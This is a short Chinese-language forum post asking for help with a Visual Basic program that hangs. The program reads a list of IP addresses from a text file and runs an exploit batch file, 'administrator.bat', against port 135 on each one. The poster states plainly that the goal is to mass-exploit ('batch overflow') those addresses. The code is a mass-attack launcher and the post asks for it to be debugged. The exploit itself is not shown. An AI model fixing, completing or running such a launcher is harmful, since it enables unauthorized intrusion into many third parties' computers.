[求助] 批量溢出失去响应
i = 0
If Dir("administrator.bat") <> "" Then
Timer2.Interval = Text8.Text
Open "s.txt" For Input As #1
Dim s1 As String
Do Until EOF(1)
Do While i < Text9.Text
Line Input #1, s1
Shell "administrator.bat " & s1 & " 135"
i = i + 1
Loop
Loop
Close #1
Private Sub Timer2_Timer()
On Error Resume Next
If i >= Text9.Text Then i = 0
End Sub
我想这样用administrator.bat来批量溢出 s.txt文件中的ip地址,可是过了几秒就失去了响应 不能继续了,请问问题出在哪里?
我把那个代码传上来,希望帮一下我